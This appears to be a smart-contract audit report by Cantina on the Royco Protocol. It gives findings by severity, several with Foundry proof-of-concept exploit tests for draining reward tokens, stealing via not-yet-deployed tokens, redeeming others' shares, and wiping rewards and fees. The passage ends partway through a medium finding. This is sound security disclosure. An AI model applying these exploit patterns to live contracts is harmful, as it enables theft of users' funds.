Royco
Security Review

Cantina Managed review by:
Kurt barry, Lead Security Researcher
Kankodu, Security Researcher
0x4non, Associate Security Researcher
Yorke rhodes, Associate Security Researcher

October 5, 2024

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Royco Protocol allows anyone to create a market around any onchain transaction (or series of transactions). Using Royco, incentive Providers may create intents to offer incentives to users to perform the transaction(s) and users may create intents to complete the transaction(s) and/or negotiate for more incentives.

From Aug 28th to Sep 3rd the Cantina team conducted a review of royco-monorepo on commit hash b30ca572. The team identified a total of **37** issues in the following risk categories:

- Critical Risk: 4
- High Risk: 10
- Medium Risk: 7
- Low Risk: 9
- Gas Optimizations: 2
- Informational: 5

Note: *the fixes for the issues were all reviewed and approved with the exception of* $ERC4626i$ *which will be rereviewed in an upcoming competition.*

3 Findings

3.1 Critical Risk

3.1.1 Vulnerability in `fillLPOrder` allows draining of reward tokens

Severity: Critical Risk

Context: RecipeOrderbook.sol#L541

Description: In the `fillLPOrder` function, the `frontendRecipient` is assigned the entire `order.tokenAmountsRequested[i]` as fees. An attacker can exploit this by creating an LP order and filling it themselves using the current balance of reward tokens as `order.tokenAmountsRequested`, with their own address set as the `frontendRecipient`. This allows the attacker to later claim fees as the `frontendRecipient` and drain the protocol of all the reward tokens.

Recommendation: From the total `market.feePercentage` portion of `order.tokenAmountsRequested[i]`, the taker should receive a portion of it depending on the `fillPercentage` (quantity/fillAmount).

Royco: Addressed in commit a0b7936d.

Cantina Managed: Fixed.

3.1.2 User rewards can be permissionlessly erased

Severity: Critical Risk

Context: *(No context files were provided by the reviewer)*

Description: The `public` method `updateUserRewards()` of `ERC4626i` overwrites the previous value of the user's accumulated rewards:

```
userData.accumulated = (balanceOf[user] * elapsed * _campaignData.rate) / WAD;
```

This function can be called on any account by any other account (no access control), allowing any account to erase any other account's rewards. In particular, two calls within the same block will set the affected account's rewards to zero. This function is also called for all user interactions that modify balances, so even without malicious actors, users will lose rewards accidentally unless they call `claim()` prior to any interaction in the same block. Rewards "erased" in this manner cannot be recovered, and the corresponding tokens are stuck in the contract.

Proof of concept: This test can be added to `test/ERC4626i.t.sol`:

```
function testRewardWiping() public {
    uint256 startTime = block.timestamp;
    uint256 duration = 2 * (7 days);  // seconds
    uint256 incentiveAmount = 100 * duration;  // rate is going to be 100/s

    ERC4626i iVault = testFactory.createIncentivizedVault(testVault);
    testFactory.updateReferralFee(testVault, 0);
    testFactory.updateProtocolFee(testVault, 0);

    MockERC20 rewardToken = new MockERC20("Reward Token", "REWARD");
    rewardToken.mint(address(this), incentiveAmount);
    rewardToken.approve(address(iVault), incentiveAmount);

    uint256 campaignId = iVault.createRewardsCampaign(rewardToken, startTime, startTime + duration,
↪   incentiveAmount);

    address user1 = address(0x1337);
    uint256 deposit1 = 10e18;
    MockERC20(address(token)).mint(user1, deposit1);

    vm.startPrank(user1);
    token.approve(address(iVault), deposit1);
    iVault.deposit(deposit1, user1);
    iVault.optIntoCampaign(campaignId, /* referral */ address(0));
    vm.stopPrank();

    vm.warp(startTime + 1 * (7 days));  // warp halfway through campaign

    // This will cause the user's rewards to get wiped out on their next interaction.
```

```
    // Note that the caller is not user1. I.e. any address can wipe the rewards of
    // any other address. Commenting out this line makes the test pass instead of fail.
    iVault.updateUserRewards(campaignId, user1);

    vm.startPrank(user1);
    // This will invoke `updateUserRewards(campaignId, user1)` a second time within the block, zeroing rewards.
    uint256 claimedByUser1 = iVault.claim(campaignId, user1);
    vm.stopPrank();

    assertGt(claimedByUser1, 0);
}
```

Recommendation: Given that the reward distribution algorithm is fundamentally flawed anyway (see the issue "Reward distribution algorithm is flawed"), the recommendation is to take care to not reintroduce this sort of bug during the rewrite. Advice on a correct implementation is given in the referenced finding.

Royco: Acknowledged. Won't fix: ERC4626i is being rewritten entirely.

Cantina Managed: Acknowledged.

3.1.3 Successful transfers on non-existent tokens allows attackers to steal

Severity: Critical Risk

Context: RecipeOrderbook.sol#L383, RecipeOrderbook.sol#L534

Description: Solmate's `SafeTransferLib` succeeds even if token address does have any code. See the comment here. Here's how an attacker can take advantage of it:

1. Attacker creates some market and creates IP order with high amount of reward tokens before that token is deployed.
    - This succeeds as contract calls safeTransferFrom on non existent token and it succeeds for any amount due to no code size check in `safeTransferLib`.
2. Token actually gets deployed
3. A genuine user creates a genuine market and creates IP order with actual reward tokens.
4. Attacker matches their own IP order with their own LP order to steal all the reward tokens in the contract.

This requires knowing where a token will be deployed before it is deployed. There are multiple ways to know it but the easiest one is to frontrun the token deployment transaction.

Proof of concept: Add below in `test/RecipeOrderbook.t.sol` and run the test

```
contract DeterminsticTokenFactory {
    function deploy(uint256 _salt) public payable returns (address) {
        return address(new MockERC20{ salt: bytes32(_salt) }("Name", "Symbol"));
    }

    function getBytecode() public view returns (bytes memory) {
        bytes memory bytecode = type(MockERC20).creationCode;
        return abi.encodePacked(bytecode, abi.encode("Name", "Symbol"));
    }

    function getAddress(uint256 _salt) public view returns (address) {
        bytes32 hash = keccak256(
            abi.encodePacked(
                bytes1(0xff), // 0
                address(this), // address of factory contract
                _salt, // a random salt
                keccak256(getBytecode()) // the wallet contract bytecode
            )
        );
        return address(uint160(uint256(hash)));
    }
}
```

```
function testNonExistentTokenBug() public {
    DeterminsticTokenFactory determinticTokenFactory = new DeterminsticTokenFactory();
    address attacker = address(0xA);
```

```
    uint256 salt = 1;
    MockERC20 rewardToken = MockERC20(determinticTokenFactory.getAddress(salt));

    assertEq(address(rewardToken).code.length, 0);

    // 1. attacker creates some market and creates IP order with high amount of rewardTokens before the token
↪   is deployed
    // this succeeds due to no code size check in safeTransferLib
    vm.startPrank(attacker);

    RecipeOrderbook.Recipe memory depositRecipe = RecipeOrderbook.Recipe(new bytes32[](0), new bytes[](0));
    RecipeOrderbook.Recipe memory withdrawRecipe = RecipeOrderbook.Recipe(new bytes32[](0), new bytes[](0));

    orderbook.createMarket(
        address(mockToken),
        1 days,
        0.002e18, // 0.2% frontend fee
        depositRecipe,
        withdrawRecipe,
        RewardStyle.Upfront
    );

    address[] memory tokensOffered = new address[](1);
    tokensOffered[0] = address(rewardToken);
    uint256[] memory tokenAmounts = new uint256[](1);
    tokenAmounts[0] = 100 ether;

    uint256 DUST_AMOUNT_OF_LP_TOKENS = 1;
    uint256 attackerOrderId = orderbook.createIPOrder(
        0, // marketId
        DUST_AMOUNT_OF_LP_TOKENS, // quantity
        block.timestamp + 1 days, // expiry
        tokensOffered,
        tokenAmounts
    );
    vm.stopPrank();

    // 2. now the token actually gets deployed
    rewardToken = MockERC20(determinticTokenFactory.deploy(salt));
    assertGt(address(rewardToken).code.length, 0);

    // 3. A genuine user creates a genuine market and creates IP order with actual rewardTokens
    orderbook.createMarket(
        address(mockToken),
        1 days,
        0.002 ether, // 0.2% frontend fee
        depositRecipe,
        withdrawRecipe,
        RewardStyle.Upfront
    );

    rewardToken.mint(address(this), 1000 ether);
    rewardToken.approve(address(orderbook), 1000 ether);

    tokensOffered[0] = address(rewardToken);
    tokenAmounts[0] = 100 ether;

    orderbook.createIPOrder(
        0, // marketId
        100 ether, // quantity
        block.timestamp + 1 days, // expiry
        tokensOffered,
        tokenAmounts
    );

    assertEq(rewardToken.balanceOf(address(orderbook)), 99 ether);

    //4. attacker matches their order with LP tokens to steal all of the reward tokens
    vm.startPrank(attacker);
    mockToken.mint(attacker, DUST_AMOUNT_OF_LP_TOKENS);
    mockToken.approve(address(orderbook), DUST_AMOUNT_OF_LP_TOKENS);
    orderbook.fillIPOrder(attackerOrderId, DUST_AMOUNT_OF_LP_TOKENS, address(mockVault), user2);
    vm.stopPrank();

    assertEq(rewardToken.balanceOf(attacker), 99 ether - 0.2 ether);
    assertEq(rewardToken.balanceOf(address(orderbook)), 0.2 ether); //only frontend fee remains in the
↪   contract now. Everything else has been stolen
```

```
}
```

Recommendation: Add a check to make sure token exists before pulling from the user.

Royco: Added a check to ensure the token exists in commit 8313a51e and then there was a small compile-fix in commit e553f190 adding in an actual error for the issue.

Cantina Managed: Fixed.

3.1.4 Missing permissions check in `withdraw` and `redeem` functions in `ERC4626i.sol`

Severity: Critical Risk

Context: ERC4626i.sol#L457, ERC4626i.sol#L468

Description: The `withdraw` and `redeem` functions in `ERC4626i` don't have a critical permissions check, which could allow an attacker to burn shares on behalf of an owner without their consent, stealing the underlying assets. This means that any user calling these functions can potentially affect the share balance of any other user, leading to unauthorized withdrawals or redeems.

Proof of concept:

```
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;

import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockERC4626} from "test/mocks/MockERC4626.sol";

import {ERC20} from "lib/solmate/src/tokens/ERC20.sol";
import {ERC4626} from "lib/solmate/src/tokens/ERC4626.sol";

import {ERC4626i} from "src/ERC4626i.sol";
import {ERC4626iFactory} from "src/ERC4626iFactory.sol";

import { PointsFactory } from "src/PointsFactory.sol";

import {Test, console} from "forge-std/Test.sol";

contract ERC4626iPocTest is Test {
    ERC20 token = ERC20(address(new MockERC20("Mock Token", "MOCK")));
    ERC4626 testVault = ERC4626(address(new MockERC4626(token)));
    ERC4626i testIncentivizedVault;

    PointsFactory pointsFactory = new PointsFactory();

    ERC4626iFactory testFactory;

    uint256 constant DEFAULT_REFERRAL_FEE = 0.05e18;
    uint256 constant DEFAULT_PROTOCOL_FEE = 0.05e18;

    function setUp() public {
        testFactory = new ERC4626iFactory(0.05e18, 0.05e18, address(pointsFactory));
    }

    function testBasicRewardsCampaign() public {
      address alice = makeAddr("alice");
      address bob = makeAddr("bob");


      ERC4626i iVault = testFactory.createIncentivizedVault(testVault);

      uint256 amount = 1 ether;
      MockERC20 testMockToken = new MockERC20("Reward Token", "REWARD");
      testMockToken.mint(address(this), amount);
      testMockToken.approve(address(iVault), amount);

      vm.startPrank(bob);
      MockERC20(address(token)).mint(bob, amount);
      token.approve(address(iVault), amount);
      iVault.deposit(amount, bob);
      vm.stopPrank();

      console.log("alice balance before", token.balanceOf(address(alice)));
      // next should revert
```

```
        vm.prank(alice);
        iVault.redeem(amount, alice, bob);
        console.log("stealed tokens", token.balanceOf(address(alice)));
    }
}
```

Recommendation: Add a check to ensure that if the `msg.sender` is not the `owner`, they must have sufficient allowance to burn the owner's shares:

```
if (msg.sender != owner) {
    uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals.

    if (allowed != type(uint256).max) allowance[owner][msg.sender] = allowed - shares;
}
```

Code based on solmate original implementation ERC4626.sol#L78-L84.

Royco: Acknowledged. Won't fix: ERC4626i is being rewritten entirely.

Cantina Managed: Acknowledged.

3.2 High Risk

3.2.1 Unintended behavior in recipe orderbook for null Weiroll Markets

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: If the provided `order` to `fillLPOrder` has a `fillAmount == 0`, any order will proceed past the following codeblock.

```
bytes32 orderHash = getOrderHash(order);
if (fillAmount > orderHashToRemainingQuantity[orderHash]) revert NotEnoughRemainingQuantity();
orderHashToRemainingQuantity[orderHash] -= fillAmount;
```

If the `targetMarketId` was never created, the `market` struct read from storage will take the default value (0).

```
WeirollMarket memory market = marketIDToWeirollMarket[order.targetMarketID];
```

Then, for each `order.tokensRequested`, the following code block will be entered because `market.RewardStyle == 0 == RewardStyle.Upfront`.

```
if (market.rewardStyle == RewardStyle.Upfront) {
    if (PointsFactory(POINTS_FACTORY).isPointsProgram(order.tokensRequested[i])) {
        Points(order.tokensRequested[i]).award(order.lp, order.tokenAmountsRequested[i], msg.sender);
    } else {
        //safetransfer the token to the LP
        ERC20(order.tokensRequested[i]).safeTransferFrom(
            msg.sender, order.lp, order.tokenAmountsRequested[i]
        );
    }
}
```

Though this seems to only cause loss of funds for the `msg.sender`, poorly formed `order` structs may include market identifiers which do not exist inadvertently.

Recommendation: Add a check `require(orderHashToRemainingQuantity[orderHash] > 0);` to ensure the order has been created and not yet cancelled or fully filled.

Royco: Added a check to not fill orders with no quantity remaining in commit 8b0d931d.

Cantina Managed: Fixed.

3.2.2 Amount of protocol fees owed will be more than intended in first claim

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: The `ERC4626i claimProtocolFees` has the following snippet:

```
CampaignData storage _campaignData = campaignIdToData[campaignId];
uint256 lastUpdated = feeRewardsLastClaimed[campaignId];
uint256 elapsed = (_campaignData.end - lastUpdated);
uint256 amountOwed = (elapsed * _campaignData.protocolFeeRate);
```

The first time this function is called for a given `campaignId`, `feeRewardsLastClaimed[campaignId]` will be 0 (the default value) in storage. This will lead to the time `elapsed` variable to be assigned to the `campaignData.end`'s timestamp. As a consequence, the `amountOwed` will be many orders of magnitude larger than the campaign's `protocolFeeRate` intends. This will impact every campaign created upon the first claim.

Recommendation: When `feeRewardsLastClaimed[campaignId] == 0`, assign `lastUpdated` to `campaignData.start`, which will set the appropriate floor on time `elapsed`.

Royco: Acknowledged. Won't fix: ERC4626i is being rewritten entirely.

Cantina Managed: Acknowledged.

3.2.3 Subversion of rate check possible in `VaultOrderbook.allocateOrder()` due to assignment to incorrect cache key

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: The `VaultOrderbook.allocateOrder()` function contains the following logic meant to tally the total reward rate for all tokens in the passed-in campaigns:

```
for (uint256 i = 0; i < campaignIds.length; ++i) {
    // Ensure that the LP could deposit quantity base tokens into the vault and still receive the desired
↪   reward rate
    uint256 rate = ERC4626i(order.targetVault).previewRateAfterDeposit(campaignIds[i], quantity);
    tokenToRate[order.tokensRequested[i]] += rate;
}
```

The additive assignment on line 181 (`tokenToRate[order.tokensRequested[i]] += rate;`) writes to the cache key of `tokensRequested[i]`; however, the index `i` is being used to iterate over the `campaignIds` array. There is no guarantee that the reward token of the campaign id at index `i` is equal to the requested token at index `i`, or even that the two arrays are the same length. A malicious caller could exploit this to fool the validation logic into thinking the rate requirements are satisfied by passing in campaigns for different tokens than those requested. In particular, since campaign creation is permissionless, a caller could use worthless dummy tokens that they control to create the required campaigns.

Recommendation: Write to the cache key for the token corresponding to the campaign id, e.g.:

```
  for (uint256 i = 0; i < campaignIds.length; ++i) {
      // Ensure that the LP could deposit quantity base tokens into the vault and still receive the desired
↪   reward rate
      uint256 rate = ERC4626i(order.targetVault).previewRateAfterDeposit(campaignIds[i], quantity);
-     tokenToRate[order.tokensRequested[i]] += rate;
+     tokenToRate[address(ERC4626i(order.targetVault).campaignToToken(campaignIds[i]))] += rate;
  }
```

Royco: Applied recommended fix in commit f455475d.

Cantina Managed: Fixed.

3.2.4 Rate checks unenforceable due to faulty cache value initialization in `VaultOrderbook.allocateOrder()`

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: The logic in VaultOrderbook.sol#L173-L190 is used in `VaultOrderbook.allocateOrder()` to check that the reward rates requested in exchange for a deposit can be satisfied:

```
for (uint i; i < order.tokenRatesRequested.length; ++i) {
    tokenToRate[order.tokensRequested[i]] = order.tokenRatesRequested[i];
}

// Iterate over each token the LP requested
for (uint256 i = 0; i < campaignIds.length; ++i) {
    // Ensure that the LP could deposit quantity base tokens into the vault and still receive the desired
↪   reward rate
    uint256 rate = ERC4626i(order.targetVault).previewRateAfterDeposit(campaignIds[i], quantity);
    tokenToRate[order.tokensRequested[i]] += rate;
}

for (uint i; i < order.tokenRatesRequested.length; ++i) {
    if (order.tokenRatesRequested[i] > tokenToRate[order.tokensRequested[i]]) {
        revert OrderConditionsNotMet();
    }

    delete tokenToRate[order.tokensRequested[i]];
}
```

The first loop sets `tokenToRate[order.tokensRequested[i]]` to be equal to `order.tokenRatesRequested[i]` for all valid `i`. The second loop can only increase the value of `tokenToRate` entries. So in the third loop, the comparison `order.tokenRatesRequested[i] > tokenToRate[order.tokensRequested[i]]` can never fail and thus the check for rates will always succeed. LPs can have their orders filled even if they will receive none of the tokens they requested in return.

Recommendation: Delete the first loop (VaultOrderbook.sol#L173-L175) so that all `tokenToRate` values start at zero. Note that there are two other issues present in this logic, but they are addressed in other findings.

Royco: Fixed issue in commit 2129be28, removed the loop.

Cantina Managed: Fixed.

3.2.5 Incorrect conditional logic in `fillIPOrder` for LPToken Payment

Severity: High Risk

Context: RecipeOrderbook.sol#L545-L551

Description: The orderbook allows LPToken payment in `fillIPOrder` using two methods: withdrawing from the `fundingVault` or pulling directly from the user's wallet.

1. If a user wants to pay by withdrawing funds from a `fundingVault`, they won't be able to because when `fundingVault != address(0)`, the `fillIPOrder` function incorrectly pulls LP tokens directly from the user's wallet.
2. If the user wants to pay directly from their wallet, they have to add a workaround by specifying a fake `fundingVault` that returns the same asset as the underlying token they want to pay with when `fundingVault.asset()` is called to satisfy this condition in RecipeOrderbook.sol#L432. Users should not have to be aware of this workaround to make a payment.

Recommendation: The conditional logic is incorrect. When `fundingVault != address(0)`, the function should withdraw from the `fundingVault`. When `fundingVault == address(0)`, it should pull directly from the user's wallet.

Royco: Conditional fix made it in commit f85f5646, as well as an erroneous Points award fix, but this addresses that issue.

Cantina Managed: Fixed.

3.2.6 Users can avoid paying protocol fees

Severity: High Risk

Context: RecipeOrderbook.sol#L494

Description: When an IP order is created, the `protocolFee` is assigned to the `protocolFeeRecipient`. However, this `protocolFee` calculation is missing in the `fillLPOrder` function. As a result, users can avoid the `protocolFee` if they match orders using `createLPOrder` + `fillLPOrder` instead of `createIPOrder` + `fillIPOrder`.

Recommendation: Add the `protocolFee` calculation in the `fillLPOrder` function to ensure consistent fee application across all order types.

Royco: Fixed in commit a39f7d01.

Cantina Managed: Fixed.

3.2.7 Vulnerability in `claimFees` function allows fee lockup

Severity: High Risk

Context: RecipeOrderbook.sol#L404-L409, RecipeOrderbook.sol#L406

Description: In the `claimFees` function, the `feeRecipientToTokenToAmount` mapping is updated for the `to` address provided in the function parameter. This allows an attacker to set the `feeRecipientToTokenToAmount` to zero for all fee recipients and lock up the fees in the protocol that they correctly deserve.

Proof of concept: Add the below test in `test/RecipeOrderbook.t.sol`.

```
function testCreateIPOrder() public {
    // First create a market
    testCreateMarket();

    address protocolFeeReceipient = address(0x4);
    orderbook.setProtocolFeeRecipient(protocolFeeReceipient);

    address[] memory tokensOffered = new address[](1);
    tokensOffered[0] = address(mockToken);
    uint256[] memory tokenAmounts = new uint256[](1);
    tokenAmounts[0] = 100e18;

    vm.startPrank(user2);
    mockToken.mint(user2, 100e18);
    mockToken.approve(address(orderbook), 100e18);

    orderbook.createIPOrder(
        0, // marketId
        1000e18, // quantity
        block.timestamp + 1 days, // expiry
        tokensOffered,
        tokenAmounts
    );
    vm.stopPrank();

    // protocolFeeReceipient deserves 1 ether as fees
    uint256 protocolFee = orderbook.feeRecipientToTokenToAmount(orderbook.protocolFeeRecipient(),
↪   address(mockToken));
    assertEq(protocolFee, 1 ether);

    address attacker = address(0xA);

    // before protocolFeeReceipient claims it, attacker can call the claimFees themselves to set the fees
↪   deserved by protocolFeeReceipient to zero
    vm.startPrank(attacker);
    orderbook.claimFees(address(mockToken), orderbook.protocolFeeRecipient());
    vm.stopPrank();

    protocolFee = orderbook.feeRecipientToTokenToAmount(orderbook.protocolFeeRecipient(), address(mockToken));

    //protocolFee has gone to zero
    assertEq(protocolFee, 0);
    //protocolFeeReceipient didn't receive the fees
```

```
    assertEq(mockToken.balanceOf(protocolFeeReceipient), 0);
}
```

Recommendation: The `feeRecipientToTokenToAmount` mapping should be updated for `msg.sender` instead of the `to` address provided in the function parameter.

Royco: Applied the recommended fix in commit dcdf973d.

Cantina Managed: Fixed.

3.2.8 Reward distribution algorithm is flawed

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: The `ERC4626i` contract is intended to distribute the rewards for a given campaign at a constant rate proportional to the shares each user holds in the contract. For example, if `user1` holds 20% of the shares of the vault for a given period of time, they should receive 20% of the rewards during that time period for any campaign they have opted into. If another user then makes a deposit that lowers `user1`'s holdings to only 10% of the total vault shares, then `user1` should receive 10% of those rewards going forward until another action is taken to change their share. However, the implemented algorithm is simply not mathematically equivalent to this. It systematically distributes fewer rewards to users than they are owed (at least in all scenarios tested during the audit). A proof-of-concept is included below that demonstrates this for a simple case. Note that this flaw is independent of the bug that allows wiping user reward balances before they can claim them.

Proof of concept: Copy the test below into `test/ERC4626i.t.sol` and run with `forge test --match-test testRewardAlgorithmIncorrect -vvv`.

```
function testRewardAlgorithmIncorrect() public {
    uint256 startTime = block.timestamp;
    uint256 duration = 2 * (7 days);  // seconds
    uint256 incentiveAmount = 100 * duration;  // rate is going to be 100/s

    ERC4626i iVault = testFactory.createIncentivizedVault(testVault);
    testFactory.updateReferralFee(testVault, 0);
    testFactory.updateProtocolFee(testVault, 0);

    MockERC20 rewardToken = new MockERC20("Reward Token", "REWARD");
    rewardToken.mint(address(this), incentiveAmount);
    rewardToken.approve(address(iVault), incentiveAmount);

    uint256 campaignId = iVault.createRewardsCampaign(rewardToken, startTime, startTime + duration,
↪   incentiveAmount);

    address user1 = address(0x1337);
    uint256 deposit1 = 10e18;
    MockERC20(address(token)).mint(user1, deposit1);

    vm.startPrank(user1);
    token.approve(address(iVault), deposit1);
    iVault.deposit(deposit1, user1);
    iVault.optIntoCampaign(campaignId, /* referral */ address(0));
    vm.stopPrank();

    vm.warp(startTime + 1 * (7 days));  // 1/2th of the duration elapses

    address user2 = address(0xbeef);
    uint256 deposit2 = deposit1;  // same deposit as user1
    MockERC20(address(token)).mint(user2, deposit2);

    vm.startPrank(user2);
    token.approve(address(iVault), deposit2);
    iVault.deposit(deposit2, user2);
    iVault.optIntoCampaign(campaignId, /* referral */ address(0));
    vm.stopPrank();

    vm.warp(startTime + 2 * (7 days));  // warp to campaign end

    vm.startPrank(user1);
    uint256 claimedByUser1 = iVault.claim(campaignId, user1);
```

```
    vm.stopPrank();

    // user1 had 100% of deposits for 1/2 of the campaign
    // user1 had 50% of deposits for 1/2 of the campaign
    // user1 should receive 1/2 + (1/2)*(1/2) = 3/4 of total rewards,
    // i.e. 3 * incentiveAmount / 4
    assertEq(claimedByUser1, 3 * incentiveAmount / 4);

    // Running the test should result in failure with this reason:
    // assertion failed: 60480050 != 90720000
    // It can be seen that the actual value (60480050) differs by about 33% from the
    // theoretically correct value (90720000), which is far too large to be due to
    // rounding error.

    // Note that since user1 only interacts at the start of the campaign and at the end,
    // the "reward wiping" bug is not triggered so the discrepancy observed here must be
    // due to an inaccuracy in the underlying algorithm.
}
```

Recommendation: Rewrite the reward distribution from scratch using a correct approach. While it is beyond the typical scope of a security review to suggest complex algorithmic revisions, a schematic of a correct algorithm is outlined below; this is only intended to illustrate the key elements of one possible correct implementation, and is not intended to explicitly handle all edge cases or represent all necessary logic.

- Per-campaign state needed:

```
uint256 rewardPerShare;  // accumulator for reward-per-share; AT LEAST 18 decimals of precision
uint256 lastUpdated;  // timestamp of last accumulator update
uint256 rate;  // reward rate per second
uint256 end;  // timestamp at which the campaign ends
```

- Per-user-per-campaign state needed:

```
uint256 claimable;  // amount that will be awarded to the user on the next claim() call
uint256 lastRewardPerShare;  // rewardPerShare of campaign at lastUpdatedUser
```

- Per-campaign update logic before all user interactions (`PRECISION` is a constant that should be at least the same precision as `totalSupply`, e.g. `1e18`; it could be larger to reduce rounding error):

```
rewardPerShare += rate * (min(end, block.timestamp) - lastUpdated) * PRECISION / totalSupply;
lastUpdated = min(block.timeStamp, end);
```

- Per-user-per-campaign update logic before a specific user's interactions (but after updating the campaign state):

```
claimable += balanceOf(user) * (rewardPerShare - lastRewardPerShare) / PRECISION;
lastRewardPerShare = rewardPerShare;
```

- The `claim()` function should reset a user's `claimable` amount to zero and then transfer or award points to them equal to the amount prior to the reset:

```
uint256 cached = claimable;
claimable = 0;
rewardToken.transfer(user, cached);
```

Royco: Acknowledged. Won't fix: ERC4626i is being rewritten entirely.

Cantina Managed: Acknowledged.

3.2.9 Protocol insolvency risk

Severity: High Risk

Context: RecipeOrderbook.sol#L383

Description: Currently, only `tokenAmounts[i] = incentiveAmount + frontendFeeAmount` is pulled from the IP order creator when an IP order is created. This means that if the `protocolFeeRecipient` claims their fees before the order is filled, `fillIPOrder` will fail because the Orderbook wouldn't have enough funds to transfer to the taker.

More likely, if the order is filled before the `protocolFeeRecipient` claims their fees, there won't be enough funds to pay `protocolFeeRecipient` , causing the protocol to lose out on the protocol fees.

Recommendation: The Orderbook should pull the entire `tokenAmounts[i] = incentiveAmount + frontendFeeAmount + protocolFee` from the IP order creator.

Royco: Fixed in commit 01c01c97.

Cantina Managed: Fixed.

3.2.10 Incorrect handling of decimals in ERC4626i

Severity: High Risk

Context: ERC4626i.sol#L144

Description: If the underlying vault has `36` decimals for example and `ERC4626i` is using the fixed `18`, off-chain components (like portfolio display apps) and other contracts that interact with it will interpret the user's balance as millions of trillions of tokens when it is actually only `1`.

Recommendation: Use `_underlyingVault.decimals()` instead of a fixed 18 decimals.

Royco: Acknowledged. Won't fix: ERC4626i is being rewritten entirely.

Cantina Managed: Acknowledged.

3.3 Medium Risk

3.3.1 IPOrders with upfront points program rewards cannot be filled

Severity: Medium Risk

Context: RecipeOrderbook.sol#L476

Description: When filling IP orders with an upfront reward style (RecipeOrderbook.sol#L476), the reward `token` is assumed to be an ERC20 token; everywhere else in the codebase, a check is done to see if `token` is actually a points program. Skipping this check means orders that attempt to award points upfront will fail to be filled (since `Points` contracts do not implement ERC20 logic and have a reverting fallback function).

Recommendation: Check whether `token` represents a points program and take appropriate action to avoid unexpected reverts.

Royco: Added a conditional in commit 98596f8d to now award both.

Cantina Managed: Fix doesn't look right.

Royco: Patched in a later compile fix, if you check the diff it is correct.

Cantina Managed: Looking at the fix diff, it is correct there.

3.3.2 The previewed deposit rate is inaccurate and inconvenient

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: The `previewDepositRate()` function in the `ERC4626i` contract is implemented as follows:

```
/// @param campaignId The campaign you are depositing into
/// @param amount The amount of tokens to deposit
/// @return rate The rate of tokens being rewarded
function previewRateAfterDeposit(uint256 campaignId, uint256 amount) public view returns (uint256 rate) {
    CampaignData storage _campaignData = campaignIdToData[campaignId];

    return _campaignData.rate * amount / WAD;
}
```

While the comments are somewhat ambiguous about how the return value should be interpreted, the use of this function in the `VaultOrderbook` contract shows that it supposed to be used to determine in the post-deposit rate would satisfy an LP's desired reward level. Because an LP cannot know what fraction of their order will be filled, it's most convenient if they can specify the rate on a per-token or per-share basis. That is not what is done in the current implementation, which cannot even be consistently interpreted as the reward rate on the entire deposit amount. This makes it very difficult for LPs to guarantee any particular return-on-capital for their fill orders.

Recommendation: While there may be various approaches that could work, consider something like the following:

```
  function previewRateAfterDeposit(uint256 campaignId, uint256 amount) public view returns (uint256 rate) {
      CampaignData storage _campaignData = campaignIdToData[campaignId];
+     uint256 shares = previewDeposit(amount);
+     return (_campaignData.rate * shares / (totalSupply + shares)) * DEPOSIT_TOKEN_PRECISION / amount;
-     return _campaignData.rate * amount / WAD;
  }
```

The `DEPOSIT_TOKEN_PRECISION` constant should be equal to 10 to the power of the number of decimals of the deposit token.

Royco: Acknowledged. Won't fix: ERC4626i is being rewritten entirely.

Cantina Managed: Acknowledged.

3.3.3 Non-forfeitable wallets can be Forfeited

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: The `WeirollWallet` contract includes an immutable field (WeirollWallet.sol#L86) meant to determine whether the `forfeit()` function can be called or not. However, this field is not checked in the `forfeit()` function and an associated event, `WalletNotForfeitable`, is never emitted. As a consequence, non-forfeitable wallets can be forfeited.

Recommendation: Add appropriate code to the `forfeit()` function, e.g.:

```
  function forfeit() public onlyOrderbook {
+     if (!isForfeitable()) {
+         revert WalletNotForfeitable();
+     }
      forfeited = true;
  }
```

Royco: Added a check in commit f39d9e36to use the error and ensure its forfeitable.

Canitna Managed: Fixed.

3.3.4 Rate check can be subverted in `VaultOrderbook.allocateOrder()` due to unbounded campaign id list length

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: The `VaultOrderbook.allocateOrder()` function contains the following logic meant to tally the total reward rate for all tokens in the passed-in campaigns:

```
for (uint256 i = 0; i < campaignIds.length; ++i) {
    // Ensure that the LP could deposit quantity base tokens into the vault and still receive the desired
↪   reward rate
    uint256 rate = ERC4626i(order.targetVault).previewRateAfterDeposit(campaignIds[i], quantity);
    tokenToRate[order.tokensRequested[i]] += rate;
}
```

